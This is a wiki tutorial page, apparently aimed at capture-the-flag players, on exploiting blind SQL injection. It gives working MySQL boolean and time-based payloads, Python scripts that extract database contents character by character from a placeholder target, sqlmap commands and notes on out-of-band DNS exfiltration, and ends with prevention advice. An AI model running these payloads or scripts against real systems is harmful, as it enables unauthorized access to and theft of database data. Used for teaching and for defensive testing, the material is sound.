Athena Wiki
Web ExploitationSQL Injection

Blind SQL Injection

webintermediate

Extract data from blind SQLi vulnerabilities using boolean-based, time-based, and out-of-band techniques.

websqliblindbooleantime-basedinferencesqlmap

""" This page summarizes practical approaches for exploiting blind SQL injection - situations where the application does not directly return query results or detailed error messages. The goal is the same as with visible SQLi: confirm injection, then extract data. The difference is the techniques used to infer the data (boolean, timing, or out-of-band). """

Quick overview

  • Boolean-based: infer values from differences in the response (content, length, status). Fast when responses differ clearly.
  • Time-based: infer values by observing deliberate delays introduced by the database (SLEEP/pg_sleep/WAITFOR). Useful when responses look identical.
  • Out-of-band (OOB): force the database to call back to an attacker-controlled service (DNS/HTTP) to leak data in one request.

Detection checklist

  • Inject a simple boolean test and look for any change: id=1 AND 1=1 vs id=1 AND 1=2.
  • Compare response body length, status code, headers, or distinct HTML fragments.
  • If nothing changes, try a fast time delay (e.g. SLEEP(3)) and measure response time.
  • Look for non-standard behavior in cookies, redirects, or error timing that may reveal conditional logic.

When testing, always minimize noise (use a single controlled parameter) and avoid high-rate scanning on shared CTF infrastructure.


Boolean-based techniques

Principle: send a condition that is TRUE for the desired character and FALSE otherwise, observe which case the server returns.

Example payloads (MySQL-style):

-- simple true/false probes
id=1 AND 1=1--
id=1 AND 1=2--

-- check a single character: is the 1st char of database() > 'm' ?
id=1 AND ASCII(SUBSTRING((SELECT database()),1,1))>109--

-- equality test for a known value
id=1 AND ASCII(SUBSTRING((SELECT database()),1,1))=109--

Optimizations:

  • Use binary search over the ASCII space (32–126) per character (~7 requests/char). -- When possible, extract integers or lengths first, then strings - fewer total checks.

Small Python helper (boolean, binary-search per character):

import requests

BASE = 'http://target.com/page'

def resp_len(params):
    return len(requests.get(BASE, params=params).text)

def is_true(cond, baseline_len):
    return resp_len({'id': f"1 AND ({cond})--"}) == baseline_len

def extract(query, max_len=40):
    baseline = resp_len({'id': '1 AND 1=1--'})
    out = ''
    for pos in range(1, max_len+1):
        lo, hi = 32, 126
        while lo <= hi:
            mid = (lo + hi) // 2
            cond = f"ASCII(SUBSTRING(({query}),{pos},1))>{mid}"
            if is_true(cond, baseline):
                lo = mid + 1
            else:
                hi = mid - 1
        c = chr(lo-1)
        if ord(c) < 32:
            break
        out += c
        print(out)
    return out

# usage: extract('SELECT database()')

Time-based techniques

Principle: cause the DB to delay when a condition is TRUE and measure response time.

Common delay functions by DB:

  • MySQL: SLEEP(n) / IF(condition,SLEEP(n),0)
  • PostgreSQL: pg_sleep(n) / CASE WHEN ... THEN pg_sleep(n) END
  • MSSQL: WAITFOR DELAY '0:0:n'

Example (MySQL):

id=1 AND IF(ASCII(SUBSTRING((SELECT database()),1,1))=97,SLEEP(3),0)--

Tips:

  • Prefer binary search on ASCII values to reduce requests.
  • Use a reasonable sleep (2–4s) and thresholding; too short delays are noisy, too long are slow.
  • Retry measurements and use median timings to reduce false positives.

Python timing skeleton:

import time, requests

def timed_check(payload, threshold=2.0):
    start = time.time()
    requests.get('http://target.com/page', params={'id': payload})
    return (time.time() - start) > threshold

# Then combine with binary search per character as above, using timed_check instead of direct response comparison.

Out-of-band (OOB) techniques

If the DB can perform outbound network requests, you can cause it to resolve a domain you control and observe the query in your DNS logs (fast way to leak data).

Examples:

  • MySQL: use LOAD_FILE() with a UNC path (Windows) or other file-based tricks where allowed.
  • MSSQL: xp_dirtree can be used to trigger DNS lookups.

Use an external service (Burp Collaborator, Interactsh) or your own DNS to collect callbacks.

Caveats:

  • OOB requires the DB server to be able to reach external hosts; many CTFs allow this, but production servers often restrict it.

Automation and tooling

  • sqlmap supports blind techniques: use --technique=B (boolean) and --technique=T (time). Combine with --threads and --delay carefully.
  • For OOB, use --os-shell or Collaborator features where available.

Example sqlmap flags:

sqlmap -u "http://target.com/?id=1" --technique=BT --dbs
sqlmap -u "http://target.com/login" --data="user=foo&pass=bar" -p user --technique=T --delay=2

Use automation sparingly in CTFs to avoid rate-limiting; manual confirmation remains important.


Prevention and mitigation

-- Use parameterized queries / prepared statements for all database access - never concatenate user input into SQL.

  • Apply least-privilege to DB accounts (no FILE/xp_* if not needed).
  • Validate and canonicalize input server-side; treat blacklists as insufficient.
  • Monitor logs and rate-limit suspicious requests to detect automated extraction attempts.
  • Employ WAFs and network egress controls to block OOB exfiltration in production.

See also


Last updated on

On this page